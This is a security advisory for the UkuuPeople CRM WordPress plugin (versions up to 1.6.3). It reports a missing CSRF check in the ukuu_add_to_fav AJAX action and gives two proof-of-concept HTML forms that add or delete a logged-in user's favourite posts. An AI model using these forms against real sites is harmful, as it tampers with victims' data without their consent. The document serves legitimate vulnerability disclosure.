CRM: Contact Management Simplified – UkuuPeople <= 1.6.3 – Unauthorised Favourite Addition/Deletion

Description

The plugin does not properly check for CSRF in its ukuu_add_to_fav AJAX action, allowing attacker to make logged in users call them them and add or delete arbitrary favourite post.

Proof of Concept

To delete a favourite

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="ukuu_add_to_fav" />
      <input type="hidden" name="post_id" value="1" />
      <input type="hidden" name="entry" value="del" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


To Add a favourite

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="ukuu_add_to_fav" />
      <input type="hidden" name="post_id" value="1" />
      <input type="hidden" name="entry" value="add" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>